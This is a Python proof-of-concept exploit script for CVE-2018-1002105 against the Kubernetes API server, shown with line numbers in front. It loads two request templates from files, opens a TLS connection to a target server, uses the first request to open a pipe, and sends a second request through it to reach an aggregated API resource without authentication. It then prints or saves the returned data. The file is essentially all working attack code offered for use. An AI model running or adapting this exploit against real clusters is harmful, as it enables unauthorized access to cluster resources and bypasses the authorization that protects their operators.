1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169 | #!/usr/bin/env python3
import argparse
from ssl import wrap_socket
from json import loads, dumps
from socket import create_connection
def request_stage_1(base, version, target):
stage_1 = ""
with open('ustage_1', 'r') as stage_1_fd:
stage_1 = stage_1_fd.read()
return stage_1.format(base, version, target
).encode('utf-8')
def request_stage_2(base, version, target_api, target):
stage_2 = ""
with open('ustage_2', 'r') as stage_2_fd:
stage_2 = stage_2_fd.read()
return stage_2.format(base, version, target_api, target,
).encode('utf-8')
def read_data(ssock):
data = []
data_incoming = True
while data_incoming:
data_in = ssock.recv(4096)
if not data_in:
data_incoming = False
elif data_in.find(b'\n\r\n0\r\n\r\n') != -1:
data_incoming = False
offset_1 = data_in.find(b'{')
offset_2 = data_in.find(b'}\n')
if offset_1 != -1 and offset_2 != -1:
data_in = data_in[offset_1-1:offset_2+1]
elif offset_1 != -1:
data_in = data_in[offset_1-1:]
elif offset_2 != -1:
data_in = data_in[:offset_2-1]
data.append(data_in)
return data
def run_exploit(target, stage_1, stage_2, filename, json):
host, port = target.split(':')
with create_connection((host, port)) as sock:
with wrap_socket(sock) as ssock:
print('[*] Building pipe ...')
ssock.send(stage_1)
data_in = ssock.recv(15)
if b'HTTP/1.1 200 OK' in data_in:
print('[+] Pipe opened :D')
read_data(ssock)
else:
print('[-] Not sure if this went well...')
print(f"[*] Attempting to access url")
ssock.send(stage_2)
data_in = ssock.recv(15)
if b'HTTP/1.1 200 OK' in data_in:
print('[+] Pipe opened :D')
data = read_data(ssock)
return data
def parse_output(data, json, filename):
if json:
j = loads(''.join(i.decode('utf-8')
for i in data))
data = dumps(j, indent=4)
if filename:
mode = 'w+'
else:
mode = 'wb+'
if filename:
print(f"[*] Writing output to {filename} ....")
with open(filename, mode) as fd:
if json:
fd.write(data)
else:
for msg in data:
fd.write(msg)
print('[+] Done!')
else:
if json:
print(data)
else:
print(''.join(msg.decode('unicode_escape') for msg in data))
def main():
parser = argparse.ArgumentParser(description='Unauthenticated PoC for'
' CVE-2018-1002105')
required = parser.add_argument_group('required arguments')
optional = parser.add_argument_group('optional arguments')
required.add_argument('--target', '-t', dest='target', type=str,
help='API server target:port', required=True)
required.add_argument('--api-base', '-b', dest='base', type=str,
help='Target API name i.e. "servicecatalog.k8s.io"',
default="servicecatalog.k8s.io")
required.add_argument('--api-target', '-u', dest='target_api', type=str,
help='API to access i.e. "clusterservicebrokers"',
default="clusterservicebrokers")
optional.add_argument('--api-version', '-a', dest='version', type=str,
help='API version to use i.e. "v1beta1"',
default="v1beta1")
optional.add_argument('--json', '-j', dest='json', action='store_true',
help='Print json output', default=False)
optional.add_argument('--filename', '-f', dest='filename', type=str,
help='File to save output to', default=False)
args = parser.parse_args()
if args.target.find(':') == -1:
print("f[-] invalid target {args.target}")
return False
stage1 = request_stage_1(args.base, args.version, args.target)
stage2 = request_stage_2(args.base, args.version, args.target_api,
args.target)
output = run_exploit(args.target, stage1, stage2, args.filename, args.json)
parse_output(output, args.json, args.filename)
if __name__ == '__main__':
main()
|
